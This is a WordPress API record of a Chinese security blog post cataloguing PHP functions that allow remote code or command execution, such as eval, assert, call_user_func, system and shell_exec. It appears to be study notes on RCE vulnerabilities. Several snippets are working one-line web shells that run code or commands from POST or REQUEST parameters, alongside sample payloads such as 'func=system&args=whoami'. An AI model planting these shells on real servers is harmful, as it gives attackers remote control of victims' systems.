{"id":846,"date":"2025-01-18T20:21:16","date_gmt":"2025-01-18T12:21:16","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=846"},"modified":"2025-01-18T20:21:17","modified_gmt":"2025-01-18T12:21:17","slug":"04-rce%e6%bc%8f%e6%b4%9e%e5%87%bd%e6%95%b0","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/04-rce%e6%bc%8f%e6%b4%9e%e5%87%bd%e6%95%b0\/","title":{"rendered":"04.RCE\u6f0f\u6d1e\u51fd\u6570"},"content":{"rendered":"<h3>\u4e00\u3001\u4ee3\u7801\u6267\u884c\u51fd\u6570\uff1a<\/h3>\n<p>\u5229\u7528\u7cfb\u7edf\u51fd\u6570\u5b9e\u73b0\u547d\u4ee4\u6267\u884c\uff0c\u5728php\u4e0b\uff0c\u5141\u8bb8\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\u6709\uff1a<\/p>\n<h4>1.eval()\uff1a\u5c06\u5b57\u7b26\u4e32\u4f5c\u4e3aphp\u4ee3\u7801\u6267\u884c<\/h4>\n<p>(eval \u4e25\u683c\u610f\u4e49\u4e0a\u5e76\u4e0d\u662f\u51fd\u6570\uff0c\u800c\u662fPHP\u8bed\u8a00\u6784\u9020\u5668\uff0c)<\/p>\n<p>\u6ce8\u610f\uff1a<\/p>\n<ul>\n<li>eval() \u51fd\u6570\u4f20\u5165\u7684\u53c2\u6570\u5fc5\u987b\u4e3aPHP\u4ee3\u7801\uff0c\u5373\u8981\u4ee5\u5206\u53f7\u7ed3\u5c3e\uff1b\u5982\u679c\u60f3\u8981\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5fc5\u987b\u52a0\u4e0a \u547d\u4ee4\u6267\u884c\u51fd\u6570\uff0c\u5982 system(&quot;\u547d\u4ee4&quot;);<\/li>\n<li>\u56e0\u4e3a\u662f\u8bed\u8a00\u6784\u9020\u5668\uff0c\u4e0d\u80fd\u7528\u4f5c\u52a8\u6001\u6267\u884c\uff0c\u4e0d\u80fd\u5236\u4f5c==\u514d\u6740\u51fd\u6570==\u3002<\/li>\n<\/ul>\n<pre><code>&lt;?php @eval($_POST['cmd']);?&gt;\n<\/code><\/pre>\n<h4>2.assert():\u5c06\u5b57\u7b26\u4e32\u4f5c\u4e3aphp\u4ee3\u7801\u6267\u884c\u7684\u51fd\u6570<\/h4>\n<p>\u4ee3\u7801\u6267\u884c\u53ea\u9002\u7528\u4e8ephp5\u7248\u672c\uff0cphp7.0 \u5219\u53ef\u4ee5\u7528\u914d\u7f6e\u6587\u4ef6\u53bb\u9664 assert\u7684\u4ee3\u7801\u6267\u884c\u529f\u80fd\uff0cphp7.1 assert\u5c06\u4e0d\u80fd\u6267\u884c\u4ee3\u7801 \uff0c php7.2 assert\u5c06\u4e0d\u80fd\u4f20\u5165\u5b57\u7b26\u4e32\u53c2\u6570<\/p>\n<p>\u6ce8\u610f\uff1aassert()\u51fd\u6570\u662f\u76f4\u63a5\u5c06\u4f20\u5165\u7684\u53c2\u6570\u5f53\u6210PHP\u4ee3\u7801\u6267\u884c\uff0c\u4e0d\u9700\u8981\u4ee5\u5206\u53f7\u7ed3\u5c3e<\/p>\n<h4>3.preg_replace()\uff1a\u6b63\u5219\u5339\u914d\u66ff\u6362\u5b57\u7b26\u4e32\uff1b<\/h4>\n<p>preg_replace : \u6b63\u5219\u8868\u8fbe\u5f0f\u66ff\u6362\u51fd\u6570\uff0c \u5f53\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f7f\u7528\/e\u4f5c\u4e3a\u4fee\u9970\u7b26\uff0c\u4f1a\u628a\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u5f53\u4f5cphp\u4ee3\u7801\u6267\u884c,\u7b2c\u4e09\u4e2a\u53c2\u6570\u80fd\u591f\u6ee1\u8db3\u7b2c\u4e00\u4e2a\u53c2\u6570\u5339\u914d\u7684\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u4e0d\u4f1a\u5199\uff0c\u5c31\u5c3d\u91cf\u548c\u7b2c\u4e00\u4e2a\u53c2\u6570\/\/\u91cc\u7684\u5b57\u7b26\u4e32\u4fdd \u6301\u4e00<\/p>\n<pre><code>preg_replace(&quot;\/abc\/e&quot;, $_REQUEST['cmd'], &quot;abc&quot;);\n<\/code><\/pre>\n<h4>4.array_map<\/h4>\n<pre><code>$function_name = $_POST['func']; \/\/ \u4ecepost\u53c2\u6570func\u83b7\u53d6\u51fd\u6570\u540d $function_args = $_POST['args']; \/\/ \u4ecepost\u53c2\u6570args\u83b7\u53d6\u53c2\u6570\u503c $arr[0] = $function_args; \/\/ \u628a\u53c2\u6570\u503c\u6362\u6210\u6570\u7ec4 array_map($function_name, $arr); \/\/ array_map\u6267\u884c func(args)\n<\/code><\/pre>\n<pre><code>\u4f7f\u7528\u65b9\u6cd5\uff1a body: func=system&amp;args=whoami \/\/ system(&quot;whoami&quot;); func=phpinfo&amp;args=1 \/\/ phpinfo(1)\n<\/code><\/pre>\n<h4>5.call_user_func()\uff1a\u56de\u8c03\u51fd\u6570\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3a\u51fd\u6570\u540d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e3a\u51fd\u6570\u7684\u53c2\u6570\uff1b<\/h4>\n<pre><code>&lt;?php\n call_user_func(&quot;assert&quot;,$_POST['cmd']); \n\/\/\u4f20\u5165\u7684\u53c2\u6570\u4f5c\u4e3aassert\u51fd\u6570\u7684\u53c2\u6570\n\/\/cmd=system(whoami)\n ?&gt;\n<\/code><\/pre>\n<p>\u6ce8\u610f\uff1aeval\u4e0d\u884c\uff0c\u56e0\u4e3a\u4e0d\u662f\u51fd\u6570<\/p>\n<h4>6.call_user_func_array()\uff1a\u56de\u8c03\u51fd\u6570\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3a\u51fd\u6570\u540d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e3a\u51fd\u6570\u53c2\u6570\u7684\u6570\u7ec4\uff1b<\/h4>\n<pre><code>&lt;?php  \n$cmd=$_POST['cmd']; \n$array[0]=$cmd; \ncall_user_func_array(&quot;assert&quot;,$array); \n\/\/\u5c06\u4f20\u5165\u7684\u53c2\u6570\u4f5c\u4e3a\u6570\u7ec4\u7684\u7b2c\u4e00\u4e2a\u503c\u4f20\u9012\u7ed9assert\u51fd\u6570\n\/\/cmd=system(whoami)\n ?&gt;\n\n&lt;?php\ncall_user_func_array(&quot;assert&quot;,$_POST['cmd']); \n?&gt;\n\/\/cmd[]=system(&quot;ipconfig&quot;);\n<\/code><\/pre>\n<h4>7.create_function()\uff1a\u4e3b\u8981\u521b\u5efa\u533f\u540d\u51fd\u6570\uff1b<\/h4>\n<p>\u53ef\u53d8\u51fd\u6570\uff1a\u82e5\u53d8\u91cf\u540e\u6709\u62ec\u53f7\uff0c\u8be5\u53d8\u91cf\u4f1a\u88ab\u5f53\u505a\u51fd\u6570\u540d\u4e3a\u53d8\u91cf\u503c(\u524d\u63d0\u662f\u8be5\u53d8\u91cf\u503c\u662f\u5b58\u5728\u7684\u51fd\u6570\u540d)\u7684\u51fd\u6570\u6267\u884c\uff1b<\/p>\n<p>\u5982\u679c\u9875\u9762\u4e2d\u5b58\u5728\u8fd9\u4e9b\u51fd\u6570\u5e76\u4e14\u5bf9\u4e8e\u7528\u6237\u7684\u8f93\u5165\u6ca1\u6709\u505a\u4e25\u683c\u7684\u8fc7\u6ee4\uff0c\u90a3\u4e48\u5c31\u53ef\u80fd\u9020\u6210\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/p>\n<p>\u5176\u4ed6\u51fd\u6570:<br \/>\nob_start\uff08\uff09\u3001unserialize\uff08\uff09\u3001creat_function\uff08\uff09<br \/>\n\u3001usort\uff08\uff09\u3001uasort\uff08\uff09\u3001uksort\uff08\uff09\u3001<br \/>\narray_filter\uff08\uff09\u3001<br \/>\narray_reduce\uff08\uff09\u3001<br \/>\narray_map\uff08\uff09&#8230;&#8230;<\/p>\n<h3>\u4e8c\u3001\u7cfb\u7edf\u547d\u4ee4\u6267\u884c\u51fd\u6570<\/h3>\n<p>\u5bf9\u4e8e\u76f4\u63a5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u4ee3\u7801\u51fd\u6570\u4e5f\u662f\u6709\u5f88\u591a\u7684\u3002<\/p>\n<h4>1.system()\uff1a\u80fd\u5c06\u5b57\u7b26\u4e32\u4f5c\u4e3aOS\u547d\u4ee4\u6267\u884c\uff0c\u4e14\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff1b<\/h4>\n<h4>2.exec()\uff1a\u80fd\u5c06\u5b57\u7b26\u4e32\u4f5c\u4e3aOS\u547d\u4ee4\u6267\u884c\uff0c\u4f46\u662f\u53ea\u8fd4\u56de\u6267\u884c\u7ed3\u679c\u7684\u6700\u540e\u4e00\u884c(\u7ea6\u7b49\u4e8e\u65e0\u56de\u663e)\uff1b<\/h4>\n<p>\u5982\u679c\u60f3\u5f97\u5230\u7ed3\u679c\uff0c\u53ef\u4ee5\u4f7f\u7528\u7b2c\u4e8c\u4e2a\u53c2\u6570\uff0c\u8ba9\u5176\u8f93\u51fa\u5230\u6307\u5b9a\u7684\u6570\u7ec4\u3002\u6b64\u6570\u7ec4\u4e00\u4e2a\u8bb0\u5f55\u4ee3\u8868\u8f93\u51fa\u7684\u4e00\u884c\u3002<\/p>\n<pre><code>&lt;?php\n\/\/ \u8f93\u51fa\u8fd0\u884c\u4e2d\u7684 php\/httpd \u8fdb\u7a0b\u7684\u521b\u5efa\u8005\u7528\u6237\u540d\n\/\/ \uff08\u5728\u53ef\u4ee5\u6267\u884c &quot;whoami&quot; \u547d\u4ee4\u7684\u7cfb\u7edf\u4e0a\uff09\n\/\/ echo exec('whoami');\n\/\/ exec('ls -la', $return);\n\/\/ var_dump($return); \n$cmd=$_POST['cmd']; \n@exec($cmd, $return); \nvar_dump($return) \n?&gt;\n<\/code><\/pre>\n<h4>3.shell_exec()\uff1a\u80fd\u5c06\u5b57\u7b26\u4e32\u4f5c\u4e3aOS\u547d\u4ee4\u6267\u884c<\/h4>\n<pre><code>shell_exec(&quot;whoami&quot;);\nshell_exec($_REQUEST['cmd']);\n<\/code><\/pre>\n<p>\u9ed8\u8ba4\u4e0d\u4f1a\u8f93\u51fa\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c<\/p>\n<pre><code>echo shell_exec(&quot;whoami&quot;);\nvar_dump(shell_exec(&quot;whoami&quot;))\n<\/code><\/pre>\n<h4>4.passthru()\uff1a\u80fd\u5c06\u5b57\u7b26\u4e32\u4f5c\u4e3aOS\u547d\u4ee4\u6267\u884c\uff0c\u9ed8\u8ba4\u4f1a\u8f93\u51fa\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c<\/h4>\n<pre><code>passthru(&quot;whoami&quot;); \npassthru($_REQUEST['cmd'])\n<\/code><\/pre>\n<h4>5.popen()\uff1a\u6253\u5f00\u8fdb\u7a0b\u6587\u4ef6\u6307\u9488<\/h4>\n<pre><code>popen(&quot;whoami&quot;,'r');\n<\/code><\/pre>\n<p>\u4e0d\u4f1a\u8f93\u51fa\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c, \u4e14echo\u4e5f\u4e0d\u4f1a\u8f93\u51fa<\/p>\n<pre><code>&lt;?php\npopen(&quot;whoami &gt; 1.txt&quot;,&quot;r&quot;); \/\/ \u6267\u884cwhoami\u628a\u6267\u884c\u7ed3\u679c\u5bfc\u51fa\u52301.txt \necho file_get_contents(&quot;1.txt&quot;); \/\/ \u8bfb\u53d61.txt\u7684\u5185\u5bb9 \nunlink(&quot;1.txt&quot;); \/\/ \u5220\u96641.txt\n?&gt;\n<\/code><\/pre>\n<p>proc_open()\uff1a\u4e0epopen()\u7c7b\u4f3c<\/p>\n<p>pcntl_exec()\uff1a\u5728\u5f53\u524d\u8fdb\u7a0b\u7a7a\u95f4\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\uff1b<\/p>\n<p>\u53cd\u5f15\u53f7<code>\uff1a\u53cd\u5f15\u53f7<\/code>\u5185\u7684\u5b57\u7b26\u4e32\u4f1a\u88ab\u89e3\u6790\u4e3aOS\u547d\u4ee4\uff1b<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u4ee3\u7801\u6267\u884c\u51fd\u6570\uff1a \u5229\u7528\u7cfb\u7edf\u51fd\u6570\u5b9e\u73b0\u547d\u4ee4\u6267\u884c\uff0c\u5728php\u4e0b\uff0c\u5141\u8bb8\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\u6709\uff1a 1.eval()\uff1a\u5c06\u5b57\u7b26\u4e32\u4f5c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18,4],"tags":[],"class_list":["post-846","post","type-post","status-publish","format-standard","hentry","category-rce","category-web"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/846","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=846"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/846\/revisions"}],"predecessor-version":[{"id":847,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/846\/revisions\/847"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=846"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=846"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=846"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}